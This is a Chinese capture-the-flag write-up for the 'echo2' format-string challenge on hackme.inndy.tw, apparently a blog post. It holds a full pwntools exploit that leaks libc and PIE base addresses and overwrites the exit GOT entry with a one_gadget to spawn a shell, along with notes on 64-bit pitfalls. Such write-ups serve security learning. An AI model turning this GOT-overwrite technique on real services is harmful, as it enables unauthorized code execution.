echo2

本来以为跟上题差不多,然后还是有点麻烦的,很多细节的问题

程序还是一样的是格式化字符串漏洞

但是是64位的程序,而且开了pie,需要先泄漏出libc和elf基址

观察栈分布,计算偏移,泄漏泄漏出libc和elf基址

payload = 'a' + '%43$p' + 'b' + '%41$p'
p.sendline(payload)
p.recvuntil('a')
__libc_start_main_ret = int(p.recvuntil('b',drop = True),16)
elf_base = int(p.recvuntil('\n',drop = True),16) - 0xa03

然后找出libc版本(跟用libc_database找的不一样,所以最后还是下载了题目用的libc),得到one_gadget偏移和exit_got地址,最后将exit_got改成one_gadget来getshell(之所以没有将printf_got改成system地址是因为每次最多写两字节,需要写3次才能改完,而printf_got改变一次后就不能再利用了)

#由于每次的地址变成十进制有时候位数不同,所以用了条件语句,实际上就三次写地址,每次改写2字节
if len( str((one_gadget & 0xffff) ) ) == 5:
    payload = 'aaaa%' + str((one_gadget & 0xffff) - 4) + 'c%8$hn' + p64(exit_got)
else:
    payload = 'aaaaa%' + str((one_gadget & 0xffff) - 5) + 'c%8$hn' + p64(exit_got)
p.sendline(payload)

if len( str(((one_gadget >> 16) & 0xffff)) ) == 5 :
    payload = 'aaaa%' + str(((one_gadget >> 16) & 0xffff) - 4) + 'c%8$hn' + p64(exit_got + 2)
elif len( str(((one_gadget >> 16) & 0xffff)) ) == 4:
    payload = 'aaaaa%' + str(((one_gadget >> 16) & 0xffff) - 5) + 'c%8$hn' + p64(exit_got + 2)
else:
    payload = 'aaaaaa%' + str(((one_gadget >> 16) & 0xffff) - 6) + 'c%8$hn' + p64(exit_got + 2)
p.sendline(payload)

if len( str(((one_gadget >> 32) & 0xffff)) ) == 5 :
    payload = 'aaaa%' + str(((one_gadget >> 32) & 0xffff) - 4) + 'c%8$hn' + p64(exit_got + 4)
elif len( str(((one_gadget >> 32) & 0xffff)) ) == 4:
    payload = 'aaaaa%' + str(((one_gadget >> 32) & 0xffff) - 5) + 'c%8$hn' + p64(exit_got + 4)
else:
    payload = 'aaaaaa%' + str(((one_gadget >> 32) & 0xffff) - 6) + 'c%8$hn' + p64(exit_got + 4)
p.sendline(payload)

完整exp:

from pwn import *
import time
#context.log_level = 'debug'
#p = process('./echo2',env = {"LD_PRELOAD": "../libc-2.23.so.x86_64"})
p = remote('hackme.inndy.tw',7712)
elf = ELF('./echo2')

offset = 6
offset_printf_got = elf.got['printf']

payload = 'a' + '%43$p' + 'b' + '%41$p'
p.sendline(payload)
p.recvuntil('a')
__libc_start_main_ret = int(p.recvuntil('b',drop = True),16)
elf_base = int(p.recvuntil('\n',drop = True),16) - 0xa03
offset___libc_start_main_ret = 0x20830
offset_system = 0x0000000000045390
offset_exit_got = 0x0000000000201048

libc_base = __libc_start_main_ret - offset___libc_start_main_ret
system_addr = libc_base + offset_system
exit_got = elf_base + offset_exit_got
one_gadget = libc_base + 0x45206

log.success('libc base addr : %x ' %libc_base)
log.success('elf base addr : %x ' %elf_base)
log.success('system addr : %x ' %system_addr)
log.success('exit_got : %x ' %exit_got)
log.success('one_gadget addr : %x ' %one_gadget)
#print hex(elf_base + 0x984)
#gdb.attach(p)


if len( str((one_gadget & 0xffff) ) ) == 5:
    payload = 'aaaa%' + str((one_gadget & 0xffff) - 4) + 'c%8$hn' + p64(exit_got)
else:
    payload = 'aaaaa%' + str((one_gadget & 0xffff) - 5) + 'c%8$hn' + p64(exit_got)
p.sendline(payload)

if len( str(((one_gadget >> 16) & 0xffff)) ) == 5 :
    payload = 'aaaa%' + str(((one_gadget >> 16) & 0xffff) - 4) + 'c%8$hn' + p64(exit_got + 2)
elif len( str(((one_gadget >> 16) & 0xffff)) ) == 4:
    payload = 'aaaaa%' + str(((one_gadget >> 16) & 0xffff) - 5) + 'c%8$hn' + p64(exit_got + 2)
else:
    payload = 'aaaaaa%' + str(((one_gadget >> 16) & 0xffff) - 6) + 'c%8$hn' + p64(exit_got + 2)
p.sendline(payload)

if len( str(((one_gadget >> 32) & 0xffff)) ) == 5 :
    payload = 'aaaa%' + str(((one_gadget >> 32) & 0xffff) - 4) + 'c%8$hn' + p64(exit_got + 4)
elif len( str(((one_gadget >> 32) & 0xffff)) ) == 4:
    payload = 'aaaaa%' + str(((one_gadget >> 32) & 0xffff) - 5) + 'c%8$hn' + p64(exit_got + 4)
else:
    payload = 'aaaaaa%' + str(((one_gadget >> 32) & 0xffff) - 6) + 'c%8$hn' + p64(exit_got + 4)
p.sendline(payload)
p.sendline('exit')


p.interactive()

这里遇到了几个坑点:

  • 由于64位地址会有'\x00',所以这里不能用fmtstr_payload(只适用32位elf),而且需要注意
p64(exit_got) + '%10c%6$hn'

会有\x00等bad char截断printf,导致不能正常写需要调整形式为

'%10c%7$hn' + p64(exit_got)

泄漏的时候也需要注意这点

  • 写的时候每次最多只能写两个字节的数据,要多写几次
  • 写的payload要数据对齐,即64位要8字节对齐地址
  • 打本地的时候可以,远程gg,所以用了
env = {"LD_PRELOAD": "../libc-2.23.so.x86_64"}

来调试发现one_gadget偏移不对

推荐阅读更多精彩内容

  • echo 防护机制: 32位的开启了NX的程序ida反编译一下: 很明显的一个格式化字符串漏洞,加上程序中存在sy...
    zs0zrc阅读 690评论 1 0
  • 随着网络安全的发展,在网络攻方对抗中,漏洞利用的难度在不断增大,为了绕过各种漏洞缓解措施,掌握ROP技术势在必行。...
    看雪学院阅读 1,078评论 0 4
  • WEB 祝大家圣诞快乐!hhhhh sprintf看着像wp里面的,去漏洞平台搜了一下。应该是这个漏洞: 这个我不...
    RedTeamWing阅读 634评论 0 2
  • 题目大概逻辑是登录后输入一个用户名,然后可选的echo有两种,一种名为FSB,一种名为UAF,那么很容易想到这道题...
    lilyui阅读 432评论 0 0
  • Return-Oriented-Programming(ROP FTW) Author: Saif El-Sher...
    RealSys阅读 1,343评论 0 2